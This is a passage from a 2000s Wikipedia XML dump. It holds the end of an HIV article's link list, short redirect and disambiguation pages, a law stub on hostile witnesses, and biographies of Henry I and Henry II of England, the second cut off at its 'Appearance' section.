* [http://hivinsite.org/InSite HIV InSite]
* [http://health.howstuffworks.com/aids.htm How Aids Works] (with animation)
*[http://www.doctorswithoutborders.org/news/hiv-aids/index.cfm Medecins Sans Frontieres/Doctors Without Borders HIV/AIDS Pages]
* [http://www.niaid.nih.gov/daids/ NIH/NIAD/DAIDS]
* [http://aidshistory.nih.gov/ History of AIDS research at the NIH]
* [http://www.mcld.co.uk/hiv/ &amp;quot;The Molecules of HIV&amp;quot; information resource]
* [http://www.phrusa.org/campaigns/aids/release080103.html Unsafe Health Care and the HIV/AIDS Pandemic] 2003
* [http://www.globalizationandhealth.com/content/1/1/13 HIV/AIDS: global trends, global funds and delivery bottlenecks]
*[http://www.unaids.org/NetTools/Misc/DocInfo.aspx?LANG=en&amp;href=http%3a%2f%2fgva-doc-owl%2fWEBcontent%2fDocuments%2fpub%2fPublications%2fIRC-pub06%2fAIDS-scenarios-2025_report_en%26%2346%3bhtm UNAIDS document regarding three scenarios for HIV/AIDS in Africa for the year 2025 (Large PDF file)]
*[http://www.unaids.org UNAIDS - Joint United Nations Programme on HIV/AIDS webpage]
*[http://www.knowhivaids.org KNOW - HIV leads to AIDS]
*[http://www.csa54.info/ CSA54 - AIDS Cure News]

==AIDS News==
* Nov 2005 - Progress in HIV vaccine research -[http://www.isracast.com/transcripts/011205a_trans.htm Recorded interview with Prof. Robert Gallo (HIV researcher)]
* Jan 2006 - 3D structure of HIV is revealed - [http://news.bbc.co.uk/1/hi/health/4642940.stm 3D map of AIDS causing virus revealed]

[[Category:HIV/AIDS]]
[[Category:Sexually-transmitted diseases]]
[[Category:Retroviruses]]

[[als:HIV]]
[[ca:VIH]]
[[cs:HIV]]
[[da:HIV]]
[[de:HIV]]
[[eo:HIV]]
[[es:VIH]]
[[fa:اچ آی وی]]
[[fi:HIV]]
[[fr:Virus de l'immunodéficience humaine]]
[[hu:HIV]]
[[id:HIV]]
[[ilo:HIV]]
[[it:HIV]]
[[ja:ヒト免疫不全ウイルス]]
[[nl:Hiv]]
[[no:Humant immunsviktvirus]]
[[pl:Wirus nabytego niedoboru odporności]]
[[pt:Vírus da Imunodeficiência Humana]]
[[ro:HIV]]
[[ru:ВИЧ]]
[[simple:HIV]]
[[sr:ХИВ]]
[[sv:HIV]]
[[tr:HIV]]
[[zh:人類免疫缺陷病毒]]
[[zh-min-nan:HIV]]</text>
    </revision>
  </page>
  <page>
    <title>Heterodimer</title>
    <id>14171</id>
    <revision>
      <id>15911744</id>
      <timestamp>2003-07-05T06:36:08Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <comment>redirecting - this was just a dictionary entry</comment>
      <text xml:space="preserve">#REDIRECT [[Dimer]]</text>
    </revision>
  </page>
  <page>
    <title>Homodimer</title>
    <id>14172</id>
    <revision>
      <id>15911745</id>
      <timestamp>2003-07-05T06:35:56Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <comment>redirecting - this was just a dictionary entry</comment>
      <text xml:space="preserve">#REDIRECT [[dimer]]</text>
    </revision>
  </page>
  <page>
    <title>HOL</title>
    <id>14173</id>
    <revision>
      <id>25119577</id>
      <timestamp>2005-10-09T07:19:23Z</timestamp>
      <contributor>
        <username>Bart l</username>
        <id>400832</id>
      </contributor>
      <minor />
      <comment>ch link IOC</comment>
      <text xml:space="preserve">'''HOL''' can refer to any of the following:

* '''HOL''' is an abbreviation for [[higher-order logic]], a branch of [[symbolic logic]] in which statements can be quantified over objects, predicates, predicates of predicates etc. 
* There is a [[theorem prover]] called HOL; see [[HOL theorem prover]].
* '''[[Hol]]''' is a municipality in the county of [[Buskerud]], [[Norway]].
* The '''Hall of Light''', an Amiga games database [http://hol.abime.net/].
* The former [[List of IOC country codes|IOC]] [[country-code]] for the [[Netherlands]].

''See also:'' [[List of people by name: Hol]]

{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Hostile witness</title>
    <id>14174</id>
    <revision>
      <id>32313819</id>
      <timestamp>2005-12-22T02:32:01Z</timestamp>
      <contributor>
        <username>BDAbramson</username>
        <id>196446</id>
      </contributor>
      <minor />
      <comment>in a [[trial (law)|trial]]</comment>
      <text xml:space="preserve">{{Template:EvidenceLaw}}
In United States law, a '''hostile witness''' is a [[witness]] in a [[trial (law)|trial]] who [[testimony|testifies]] for the opposing party or a witness who offers adverse testimony to the calling party during [[direct examination]]. A witness called by the opposing party is presumed hostile.  A witness called by the direct examiner can be declared hostile by a [[judge]], at the request of the examiner, when the witness' testimony is openly antagonistic or clearly prejudiced to the opposing party. A party examining a hostile witness may question the witness as if in [[cross-examination]], thus permitting the use of [[leading question]]s. A hostile witness is sometimes known as an adverse witness.

Though the practice of declaring a witness hostile is very prevalent in [[television]] and in [[movies]], it is far rarer in reality.

== External links ==
* [http://www.law.cornell.edu/rules/fre/rules.htm Federal Rules of Evidence ] - Rule 611: Mode and Order of Interrogation and Presentation


{{Law-stub}}

[[Category:Evidence]]</text>
    </revision>
  </page>
  <page>
    <title>Henry I of England</title>
    <id>14179</id>
    <revision>
      <id>40621085</id>
      <timestamp>2006-02-21T22:01:48Z</timestamp>
      <contributor>
        <username>Mksmith</username>
        <id>21209</id>
      </contributor>
      <comment>/* References */  Fixed several errors &amp; omissions</comment>
      <text xml:space="preserve">{{Infobox Monarch | name=Henry I
| title= By the Grace of God, King of the English&lt;br&gt;and Duke of the Normans
| image=[[Image:Henry1.jpg|200px]]
| reign= [[August 3]] [[1100]]&amp;ndash;[[December 1]] [[1135]]
| date1= [[August 3]] [[1100]]
| date2= [[December 1]] [[1135]]
| coronation= [[August 5]] [[1100]]
| queen= [[Edith of Scotland]] (c. [[1080]]&amp;ndash;[[1118]])&lt;br&gt;[[Adeliza of Louvain]] ([[1103]]&amp;ndash;[[1151]])
| royal house= [[Norman dynasty|Norman]]
| father= [[William I of England|William I]] (c. [[1028]]&amp;ndash;[[1087]])
| mother= [[Matilda of Flanders]] ([[1031]]&amp;ndash;[[1083]])
| issue= [[Robert, 1st Earl of Gloucester]]&lt;br&gt;(illeg., c. [[1090]]&amp;ndash;[[1147]])&lt;br&gt;[[Empress Matilda]] (c. [[1102]]&amp;ndash;[[1167]])
| date of birth= c. [[1068]]
| place of birth= [[Selby]], [[Yorkshire]]
| date of death= [[1 December]] [[1135]]
| place of death= [[St. Denis le Fermont]], [[Normandy]]
| place of burial= [[Winchester Cathedral]]
}}
'''Henry I of England''' (c.[[1068]] &amp;ndash; [[1 December]] [[1135]]), called '''Henry Beauclerc''' because of his scholarly interests, was the fourth son of [[William I of England|William the Conqueror]].  He reigned as [[Kingdom of England|King of England]] from [[1100]] to [[1135]], succeeding his brother, [[William II of England|William II Rufus]].  Henry also was known by the nickname &quot;Lion of Justice&quot;, due to the refinements which he brought about in the rudimentary administrative and legislative machinery of the time. 

He seized power after the death of William II, which occurred (conveniently) during the absence of his older brother [[Robert Curthose]] on the Crusades. 

His reign is noted for his opportunistic political skills, the aforementioned improvements in the machinery of government, the integration of the divided Anglo-Saxon and Normans within his kingdom, his reuniting of the dominions of his father, and his controversial (although well-founded) decision to name his daughter as his heir.

== Early life ==

Henry was born between May [[1068]] and May [[1069]], probably in [[Selby]], [[Yorkshire]] in [[England]]. His mother, Queen [[Matilda of Flanders]], named him after her uncle, King [[Henry I of France]]. As the youngest son of the family, he was most likely expected to become a bishop and was given extensive schooling for a young nobleman of that time period. [[William of Malmesbury]] asserts that Henry once remarked that an illiterate king was a crowned ass. He was probably the first [[Normans|Norman]] ruler to be fluent in the [[English language]].

His father [[William I of England|William]], upon his death in [[1087]], bequeathed his dominions to his three remaining sons (third son [[William I of England#Children of William the Conqueror and Matilda of Flanders|Richard]] having died previously) in the following manner:
*[[Robert Curthose|Robert]] received the [[Normandy|Duchy of Normandy]]
*[[William II of England|William]] received the [[England|Kingdom of England]]
* Henry received 5,000 pounds of silver
[[Orderic Vitalis]] reports that King William declared to Henry: &quot;''You in your own time will have all the dominions I have acquired and be greater than both your brothers in wealth and power''.&quot;

Henry played his brothers off against each other. Eventually, wary of his devious manouevering, they acted together and signed an accession treaty which effectively barred Henry from both thrones, stipulating that if either died without an heir, the two dominions of their father would be reunited under the surviving brother.

== Seizing the throne of England ==
{{Normans}}
When William II was killed by an arrow whilst hunting on [[2 August]] [[1100]], Robert was returning from the [[First Crusade]]. His absence, along with his poor reputation among the Norman nobles, allowed Henry to seize the keys of the royal hoard at [[Winchester, Hampshire|Winchester]]. He was accepted as king by the leading [[baron|barons]] and was crowned three days later on [[5 August]] at [[Westminster Abbey|Westminster]]. He secured his position among the nobles by an act of political appeasement, issuing the [[Charter of Liberties]], which is considered a forerunner of the [[Magna Carta]].

== First marriage ==

On [[11 November]] [[1100]] Henry married [[Edith of Scotland|Edith]], daughter of [[Malcolm III of Scotland|King Malcolm III]] of [[Scotland]]. Since Edith was also the niece of [[Edgar Atheling]], the marriage united the Norman line with old English line of kings. The marriage greatly displeased the Norman barons, however, and as a concession to their sensibilities Edith changed her name to Matilda upon becoming queen. The other side of this coin, however, was that Henry, by dint of his marriage, became far more acceptable to the Anglo-Saxon populace. 

[[William of Malmesbury]] describes Henry thus: &quot;''He was of middle stature, greater than the small, but exceeded by the very tall; his hair was black and set back upon the forehead; his eyes mildly bright; his chest brawny; his body fleshy.''&quot;

== Conquest of Normandy ==

In [[1101]], the following year, Robert Curthose attempted to seize the crown by invading England. In the [[Treaty of Alton]], Robert agreed to recognize Henry as King of England and return peacefully to [[Normandy]], upon receipt of an annual sum of 2000 marks, which Henry proceeded to pay.

In [[1105]], to eliminate the continuing threat from [[Robert Curthose|Robert]] and to obviate the drain on his fiscal resources, Henry led an expeditionary force across the [[English Channel]]. In [[1106]], he defeated his brother's Norman army decisively at [[Battle of Tinchebray|Tinchebray]] in [[Normandy]]. He imprisoned his brother, initially in the [[Tower of London]], subsequently at Devizes Castle and later at Cardiff. Henry appropriated the [[Normandy|Duchy of Normandy]] as a possession of [[England]], and reunited his father's dominions.

He attempted to reduce difficulties in Normandy by marrying his eldest son, [[William Adelin|William]], to the daughter of [[Fulk of Jerusalem|Fulk V, Count of Anjou]], then a serious enemy.  Eight years later, after William's untimely death, a much more momentous union was made between Henry's daughter [[Empress Matilda|Matilda]] and Fulk's son [[Geoffrey V, Count of Anjou|Geoffrey Plantagenet]], which eventually resulted in the union of the two realms under the [[Plantagenet]] kings.  

== Activities as a King ==
[[Image:Henry I of England - Illustration from Cassell's History of England - Century Edition - published circa 1902.jpg|thumb|right|180px|'''Henry I''' depicted in ''Cassell's History of England'' (1902)]]
Henry's need for finance to consolidate his position led to an increase in the activities of centralized government. As king, Henry carried out social and judicial reforms, including:
*issuing the [[Charter of Liberties]]
*restoring laws of King [[Edward the Confessor]].

Henry was also known for some brutal acts. He once threw a traitorous burgher named Conan Pilatus from the tower of Rouen; the tower was known from then on as &quot;Conan's Leap&quot;. In another instance that took place in [[1119]], King Henry's son-in-law, Eustace de Pacy, and Ralph Harnec, the constable of [[Ivry-la-Bataille|Ivry]], exchanged their children as hostages. When Eustace blinded Harnec's son, Harnec demanded vengeance. King Henry allowed Harnec to blind and mutiliate Eustace's two daughters, who were also Henry's own grandchildren. Eustace and his wife, Juliane, were outraged and threatened to rebel. Henry arranged to meet his daughter at a parlay at Breteuil, only for Juliane to draw a crossbow and attempt to assassinate her father. She was captured and confined to the castle, but escaped by leaping from a window into the moat below. Some years later Henry was reconciled with his daughter and son-in-law.

== Legitimate children ==

He had two children by Edith-Matilda, who died in [[1118]]: 

*[[Empress Matilda|Matilda]], born February [[1102]], and 

*[[William Adelin]], born November [[1103]]. 

Disaster struck when William, his only legitimate son, perished in the wreck of the [[White Ship]] on [[25 November]] [[1120]] off the coast of [[Normandy]]. Also among the dead were two of Henry's [[illegitimate child]]ren, as well as a niece, Lucia-Mahaut de Blois. Henry's grieving was intense, and the succession was in crisis.

== Second marriage ==

On [[29 January]] [[1121]], he married [[Adeliza of Louvain|Adeliza]], daughter of [[Godfrey I of Leuven]], [[Duke]] of Lower Lotharingia and [[Landgrave]] of [[Brabant]], but there were no children from this marriage. Left without male heirs, Henry took the unprecedented step of making his barons swear to accept his daughter [[Empress Matilda]], widow of [[Henry V, Holy Roman Emperor|Henry V, the Holy Roman Emperor]], as his heir.

== Death and legacy ==

Henry visited Normandy in 1135 to see his young grandsons, the children of Matilda and Geoffrey. He took great delight in his grandchildren, but soon quarreled with his daughter and son-in-law and these disputes led him to tarry in Normandy far longer than he originally planned.

Henry died of food poisoning from eating &quot;a surfeit of [[lamprey]]s,&quot; of which he was excessively fond, in December [[1135]] at [[St. Denis le Fermont]] in Normandy. He was buried at [[Reading Abbey]], which he had founded fourteen years before.  (No trace of his tomb has survived and the probable site is now covered by a car park.) 

Although Henry's barons had sworn allegiance to his daughter as their queen, her sex and her remarriage into the [[Angevin|House of Anjou]], an enemy of the Normans, allowed Henry's nephew [[Stephen I of England|Stephen of Blois]] to come to England and claim the throne with popular support. 

The struggle between the Empress and [[Stephen I of England|Stephen]] resulted in a long civil war known as [[the Anarchy]]. The dispute was eventually settled by Stephen's naming of Matilda's son, [[Henry II of England|Henry]], as his heir in [[1153]].

==Illegitimate Children==

King Henry is famed for holding the record for the largest number of acknowledged illegitimate children born to any English king, with the number being around 20 or 25. He had many mistresses, and identifying which mistress is the mother of which child is difficult. His illegitimate offspring for whom there is documentation are:

# [[Robert, 1st Earl of Gloucester]]. His mother was probably a member of the [[Gai family]].
# [[Maud FitzRoy]], married [[Conan III, Duke of Brittany]]
# [[Constance FitzRoy]], married [[Roscelin de Beaumont]]
# [[Mabel FitzRoy]], married [[William III Gouet]]
# [[Aline FitzRoy]], married [[Matthieu I of Montmorency]]
# [[Matilda FitzRoy]], [[abbess of Montvilliers]]. Her mother was [[Isabel de Beaumont]], sister of [[Robert de Beaumont, 2nd Earl of Leicester]].
# [[William de Tracy]], died shortly after [[Henry I of England|King Henry]].
# [[Gilbert FitzRoy]], died after 1142. His mother may have been a sister of [[Walter de Gand]].
# [[Emma]], born circa 1138; married [[Gui de Laval]], [[Lord Laval]].
# [[Eustacie]], born circa 1084. Married [[William Gouet II]], [[Lord Montmirial]].

===With Edith===
# Matilda du Perche, married Count [[Rotrou II of Perche]], perished in the wreck of the [[White Ship]].

===With Ansfride===
Ansfride was born circa 1070. She was married Sir Anskill of Abingdon Abbey.

# Juliane de Fontevrault, married [[Eustace de Pacy]]. She tried to shoot her father with a crossbow after King Henry allowed her two young daughters to be blinded.
# Fulk FitzRoy, a monk at [[Abingdon, England|Abingdon]].
# Richard of Lincoln, perished in the wreck of the [[White Ship]].

===With Sibyl Corbet===
Lady Sybilla Corbet of Alcester was born in [[1077]] in [[Alcester]], Warwickshire, England. She married Herbert FitzHerbert, son of Herbert &quot;the Chamberlain&quot; of Winchester and Emma de Blois. She died after 1157 and was also known as Adela (or Lucia) Corbet. Sybil was definitely mother of Sybil and Rainald, possibly also of William and Rohese. Some sources suggest that there was another daughter by this relationship, Gundred, but it appears that she was thought as such because she was a sister of Reginald de Dunstanville but it appears that that was another person of that name who was not related to this family.

# Sybilla of England, married King [[Alexander I of Scotland]].
# William Constable, born before 1105. Married Alice (Constable); died after 1187.
# [[Reginald de Dunstanville, 1st Earl of Cornwall]].
# Gundred of England ([[1114]] &amp;ndash; 1146), married 1130 [[Henry de la Pomeroy]], son of [[Joscelin de la Pomerai]].
# Rohese of England, born 1114; married Henry de la Pomeroy.

===With Edith FitzForne===
# Robert FitzEdith, Lord Okehampton, (1093 &amp;ndash; 1172) married Dame Maud d'Avranches du Sap.
# Adeliza FitzEdith. Appears in charters with her brother Robert.

===With Princess Nest===
[[Nest (princess)|Nest]]a verch Rhys of Deheubarth was born circa 1073 of [[Dynevor]], [[Llandyfeisant]], [[Carmarthenshire]], Wales. She was married first time Stephen of Cardigan, Constable of Cardigan. She was married second time Geraldus FitzOther de Windsor, son of Walter FitzOther of Windsor, Keeper of the Forest and Gwladys verch Rhywallon, in 1095. She died circa 1114.

# Henry FitzRoy, died 1157.

===With Isabel de Beaumont===
Isabel (Elizabeth) de Beaumont (after 1102 &amp;ndash; after 1172), daughter of [[Robert de Beaumont, 1st Earl of Leicester|Robert de Beaumont]]. She was married [[Gilbert de Clare, 1st Earl of Pembroke]], in 1130. She was also known as Isabella de Meulan.

# Isabel Hedwig of England, born circa 1120.

==See also==

*[[Complete Peerage]].
* [[Pipe Rolls]].
*[[Giraldus Cambrensis]]
*''Chronicon Monasterii de Abington''.
*[[Gesta Normannorum Ducum]].
*[[Robert of Torigny]].
*[[Simeon of Durham]].
*[[William of Malmesbury]].

==References==

*Cross, Arthur Lyon. ''A History of England and Greater Britain''. Macmillan, 1917.
*Hollister, C. Warren. ''Henry I''. Yale University Press, 2001. (Yale Monarchs series)
*Thompson, Kathleen. &quot;Affairs of State: the Illegitimate Children of Henry I.&quot; ''Journal of Medieval History'' 29 (2003): 129-51.

==External links==
*[http://www.bbc.co.uk/history/historic_figures/henry_i_king.shtml BBC site on Henry I]
*[http://www.royal.gov.uk/output/Page54.asp Royal British site on Henry I]
*[http://www.britannia.com/history/monarchs/mon24.html Brittania site on Henry I]
*[http://www.swuklink.com/BAAAGCBL.php Henry I (c.1068-1135), King of England (1100-1135), Duke of Normandy (1106-1135)]
*[http://www.swuklink.com/BAAAGBAG.php &amp;nbsp; The Sinking of the White Ship (1120)]
*[http://www3.dcs.hull.ac.uk/cgi-bin/gedlkup/n=royal?royal01391 A listing of Henry's descendants]

{{start box}}
{{succession box two to one |
  before1=[[William II of England|William II]] |
  title1=[[List of British monarchs|King of England]] |
  years1=1100&amp;ndash;1135 |
  after=[[Stephen of England|Stephen]] |
  before2=[[Robert Curthose]] |
  title2=[[Dukes of Normandy|Duke of Normandy]] |
  years2=1105&amp;ndash;1135
}}
{{end box}}

[[Category:1068 births]]
[[Category:1135 deaths]]
[[Category:English monarchs]]
[[Category:Dukes of Normandy]]
[[Category:House of Dunkeld]]

[[cy:Harri I o Loegr]]
[[da:Henrik I af England]]
[[de:Heinrich I. (England)]]
[[es:Enrique I de Inglaterra]]
[[fr:Henri Ier d'Angleterre]]
[[it:Enrico I d'Inghilterra]]
[[he:הנרי הראשון מלך אנגליה]]
[[nl:Hendrik I van Engeland]]
[[ja:ヘンリー1世 (イングランド王)]]
[[pl:Henryk I (król Anglii)]]
[[pt:Henrique I de Inglaterra]]
[[ru:Генрих I (король Англии)]]
[[simple:Henry I of England]]
[[fi:Henrik I (Englanti)]]
[[sv:Henrik I av England]]
[[zh:亨利一世 (英格兰)]]</text>
    </revision>
  </page>
  <page>
    <title>Henry II of England</title>
    <id>14180</id>
    <revision>
      <id>41427127</id>
      <timestamp>2006-02-27T06:15:19Z</timestamp>
      <contributor>
        <username>Josiah Rowe</username>
        <id>210455</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/69.22.106.183|69.22.106.183]] ([[User talk:69.22.106.183|talk]]) to last version by DabMachine</comment>
      <text xml:space="preserve">{|align=right
|{{Infobox Monarch | name=Henry II
| title= By the Grace of God, King of the English&lt;br&gt;and Duke of the Normans and Aquitanians&lt;br&gt;and Count of the Angevins
| image=[[Image:Henry II of England.jpg]]
| reign= [[25 October]] [[1154]] &amp;ndash; [[6 July]] [[1189]]
| date1= [[25 October]] [[1154]]
| date2= [[6 July]] [[1189]]
| coronation= [[19 December]] [[1154]]
| queen= [[Eleanor of Aquitaine]] ([[1124]] -[[1204]])
| royal house= [[Plantagenet]]
| father= [[Geoffrey of Anjou]] ([[1113]]&amp;ndash;[[1151]])
| mother= [[Empress Matilda]] (c. [[1102]]&amp;ndash;[[1167]])
| issue= [[Henry the Young King]]&lt;br&gt;([[1155]]&amp;ndash;[[1183]])&lt;br&gt;[[Richard I of England|Richard I]] ([[1157]]&amp;ndash;[[1199]])&lt;br&gt;[[Geoffrey, Duke of Brittany]]&lt;br&gt;([[1158]]&amp;ndash;[[1186]]) &lt;br&gt;[[Matilda, Duchess of Saxony]]&lt;br&gt;([[1156]]&amp;ndash;[[1189]]) &lt;br&gt;[[Leonora of England]] ([[1161]]&amp;ndash;[[1214]]) &lt;br&gt;[[Joan Plantagenet]] ([[1165]]&amp;ndash;[[1199]]) &lt;br&gt;[[John of England|John]] ([[1167]]&amp;ndash;[[1216]]) &lt;br&gt;[[Geoffrey, Archbishop of York]]&lt;br&gt;(illeg., c. [[1152]]&amp;ndash;[[1226]]) &lt;br&gt;[[William de Longespee, 3rd Earl of Salisbury|William de Longespee, 3rd Earl of&lt;br&gt;Salisbury]] (illeg., c. [[1176]]- [[1226]])
| date of birth= [[5 March]] [[1133]]
| place of birth= [[Le Mans]]
| date of death= [[6 July]] [[1189]]
| place of death= [[Chinon|Chateau Chinon]]
| place of burial= [[Fontevraud Abbey]]
}}
|-
|{{Plantagenets|arms=[[Image:H2 Arms.png|150px]]}}
|}
'''Henry II''' ([[5 March]] [[1133]] &amp;ndash; [[6 July]] [[1189]]) ruled as [[Count of Anjou]], [[Duke of Normandy]], and as [[King of England]] ([[1154]]&amp;ndash;[[1189]]) and, at various times, controlled parts of [[Wales]], [[Scotland]], eastern [[Ireland]], and western [[France]].  His [[sobriquet]]s include &quot;Curt Mantle&quot; (because of the practical short cloaks he wore), &quot;Fitz Empress&quot;, and sometimes &quot;The Lion of Justice&quot;, which had also applied to his grandfather [[Henry I of England|Henry I]].  He ranks as the first of the Plantagenet or [[Angevin|Angevin Kings]].

Following the disputed reign of [[Stephen of England|King Stephen]], Henry's reign saw efficient consolidation. Henry II has acquired a reputation as one of England's greatest medieval kings.

==Biography==

===Territorial holdings and gains - foreign enemies, allies and correspondents===
Prior to coming to the throne he already controlled [[Normandy]] and [[Anjou]] on [[Continental Europe|the continent]]; his marriage to [[Eleanor of Aquitaine]] on [[18 May]] [[1152]] added her  holdings to his, including [[Touraine]], [[Aquitaine]], and [[Gascony]]. He thus effectively became more powerful than the king of [[France]] &amp;mdash; with an empire (''the [[Angevin Empire]]'') that stretched from the [[Solway Firth]] almost to the [[Mediterranean]] and from the [[Somme]] to the [[Pyrenees]]. As king, he would make [[Ireland]] a part of his vast domain. He also maintained lively communication with the Emperor of Byzantium [[Manuel I Comnenus]].

===Life before accession===
He was born on [[5 March]] [[1133]] at [[Le Mans]] to the [[Empress Matilda]] and her second husband, [[Geoffrey of Anjou|Geoffrey the Fair, Count of Anjou]]. Brought up in [[Anjou]], he visited England in [[1149]] to help his mother in her disputed claim to the English throne.

He married [[Eleanor of Aquitaine]] on [[18 May]] [[1152]], but from [[May]] to [[August]] he was occupied in fighting Eleanor's ex-husband [[Louis VII of France]] and his allies.  In August Henry rushed back to her, and they spent several months together.  Around the end of November 1152 they parted:  Henry went to spend some weeks with his mother and then sailed for England, arriving on [[6 January]] [[1153]].  Some historians believe that the couple's first child,  [[William, Count of Poitiers]], was born in 1153. 

===Civil and legal reform - struggle with the [[barons]]===
During [[Stephen I of England|Stephen]]'s reign the barons had subverted the state of affairs to undermine the monarch's grip on the realm; Henry II saw it as his first task to reverse this shift in power.  For example, Henry had [[castle]]s which the barons had built without authorisation during Stephen's reign torn down, and [[scutage]], a fee paid by [[vassals]] in lieu of military service, became by [[1159]] a central feature of the king's military system.  Record keeping improved dramatically in order to streamline this taxation.  

Henry II established courts in various parts of England, and first instituted the royal practice of granting magistrates the power to render legal decisions on a wide range of civil matters in the name of the Crown. His reign saw the production of the first written legal textbook, providing the basis of today's &quot;[[Common Law]]&quot;. 

By the [[Assize of Clarendon]] ([[1166]]), [[trial by jury]] became the norm.  Since the [[Norman Conquest]] jury trials had been largely replaced by [[trial by ordeal]] and &quot;[[trial by combat|wager of battel]]&quot; (which English law did not abolish until [[1819]]).  Provision of justice and landed security was further toughened in 1176 with the [[Assize of Northampton]], a build on the earlier agreements at Clarendon.  This reform proved one of Henry's major contributions to the social history of England.  

===The struggle with the church and [[Thomas Becket]]===
As a consequence of the improvements in the legal system, the power of [[ecclesiastical court | church court]]s waned.  The church, not unnaturally, opposed this and found its most vehement spokesman in [[Thomas Becket]], the [[Archbishop of Canterbury]], formerly a close friend of Henry's and his [[Chancellor]].  Henry had appointed Becket to the archbishopric precisely because he wanted to avoid conflict.  

The conflict with Becket effectively began with a dispute over whether the secular courts could try clergy who had committed a secular offence.  Henry attempted to subdue Becket and his fellow churchmen by making them swear to obey the &quot;customs of the realm&quot;, but controversy ensued over what constituted these customs, and the church proved reluctant to submit.  Following a heated exchange at Henry's court, Becket left England in [[1164]] for France to solicit in person the support of [[Pope Alexander III]], who was in exile in France due to dissension in the college of Cardinals, and of King [[Louis VII of France]]. Due to his own precarious position, Alexander remained neutral in the debate, although Becket remained in exile loosely under the protection of Louis and Pope Alexander until 1170.  After a reconciliation between Henry and Thomas in Normandy in [[1170]], Becket returned to England.  Becket again confronted Henry, this time over the coronation of Prince Henry (see below).  The much-quoted, although probably apocryphal, words of Henry II echo down the centuries: &quot;Will no one rid me of this meddlesome priest?&quot;  Although Henry's violent rants against Becket over the years were well documented, this time four of his knights took their king literally (as he may have intended for them to do, although he later denied it) and travelled immediately to England, where they assassinated Becket in [[Canterbury Cathedral]] on [[December 29]], [[1170]].  

As part of his penance for the death of Becket, Henry made [[Thomas Becket#Assassination|a pilgrimage in sackcloth to his tomb]] (see also [[St. Dunstan's, Canterbury]]), and agreed to send money to the [[Crusader states]] in [[Palestine]], which the [[Knights Hospitaller]] and the [[Knights Templar (military order)|Knights Templar]] would guard until Henry arrived to make use of it on pilgrimage or [[crusade]]. Henry delayed his crusade for many years and in the end never went at all, despite a visit to him by [[Patriarch Heraclius of Jerusalem]] in [[1184]] and being offered the crown of the [[Kingdom of Jerusalem]]. In [[1188]] he levied the [[Saladin tithe]] to pay for a new crusade; the chronicler [[Giraldus Cambrensis]] suggested his death was a divine punishment for the tithe, imposed to raise money for an abortive crusade to recapture [[Jerusalem]], which had fallen to [[Saladin]] in [[1187]].)

==Issue==

===Legitimate===
Henry's first son, William, Count of Poitiers, had died in infancy.  In 1170, Henry and Eleanor's fifteen-year-old son, Henry, was crowned king (another reason for rupture with [[Thomas Becket]], whose other bishops acquiesced to this during Becket's exile), but he never actually ruled and does not figure in the list of the monarchs of England; he became known as [[Henry the Young King]] to distinguish him from his nephew [[Henry III of England]].

[[Image:Henry II of England - Illustration from Cassell's History of England - Century Edition - published circa 1902.jpg|thumbnail|left|200px|'''Henry II''' depicted in ''Cassell's History of England'' (1902)]]

Henry and his wife, Eleanor of Aquitaine, had five sons and three daughters: [[William, Count of Poitiers|William]], [[Henry the Young King|Henry]], [[Richard I of England|Richard]], [[Geoffrey, Duke of Brittany|Geoffrey]], [[John I of England|John]], [[Matilda, Duchess of Saxony|Matilda]], [[Leonora of Aquitaine|Eleanor]], and [[Joan Plantagenet|Joan]]. Henry's attempts to wrest control of her lands from Eleanor (and from her heir Richard) led to confrontations between Henry on the one side and his wife and legitimate sons on the other.

===Illegitimate===
Henry's notorious liaison with [[Rosamund Clifford]], the &quot;fair Rosamund&quot; of legend, probably began in [[1165]] during one of his Welsh campaigns and continued until her death in [[1176]].  However, it was not until [[1174]], at around the time of his break with Eleanor, that Henry acknowledged Rosamund as his mistress.  Almost simultaneously he began negotiating the annulment of his marriage in order to marry [[Alys, Countess of the Vexin|Alys]], daughter of King [[Louis VII of France]] and already betrothed to Henry's son Richard.  Henry's affair with Alys continued for some years, and, unlike Rosamund Clifford, Alys allegedly gave birth to one of Henry's illegitimate children. 

Henry also had a number of illegitimate children by various women, and Eleanor had several of those children reared in the royal nursery with her own children; some remained members of the household in adulthood. Among them were [[William de Longespee, 3rd Earl of Salisbury]], whose mother was Ida, Countess of Norfolk; [[Geoffrey, Archbishop of York]], son of a woman named Ykenai; [[Morgan, Bishop of Durham]]; and Matilda, [[Abbess of Barking]].

===Succession crisis===
Henry II's attempt to divide his titles amongst his sons but keep the power associated with them provoked them into trying to take control of the lands assigned to them (see [[Revolt of 1173-1174]]), which amounted to treason, at least in Henry's eyes. [[Gerald of Wales]] reports that when King Henry gave the kiss of peace to his son Richard, he said softly, &quot;May the Lord never permit me to die until I have taken due vengeance upon you.&quot;

When Henry's legitimate sons rebelled against him, they often had the help of King [[Louis VII of France]]. [[Henry the Young King]] died in [[1183]]. After Henry the Young King died, there was a power struggle between the three sons that were left. Henry had wanted John to be the next king, but Eleanor favored Richard. Henry had always loved John more than any of the other sons. Geoffrey tried to overcome both John and Richard, but he was unsuccessful. A horse trampled to death another son, [[Geoffrey, Duke of Brittany]] (1158&amp;ndash;1186). Henry's third son, [[Richard I of England|Richard the Lionheart]] (1157&amp;ndash;1199), with the assistance of [[Philip II of France|Philip II Augustus]] of France, attacked and defeated Henry on [[July 4]], [[1189]]; Henry died at the [[Chinon|Chateau Chinon]] on [[July 6]], [[1189]], and lies entombed in [[Fontevraud Abbey]], near [[Chinon]] and [[Saumur]] in the Anjou Region of present-day France. Henry's illegitimate son [[Geoffrey, Archbishop of York]] also stood by him the whole time and alone among his sons attended on Henry's deathbed. 

[[Richard I of England|Richard the Lionheart]] then became King of England. This was unfortunate to Henry because he had always wanted [[John I of England|John]] to succeed him.  He was followed by [[John I of England|King John]], the youngest son of Henry II, laying aside the claims of [[Geoffrey, Duke of Brittany|Geoffrey]]'s children [[Arthur I, Duke of Brittany|Arthur of Brittany]] and [[Eleanor, Fair Maid of Brittany|Eleanor]].

==Appearance==

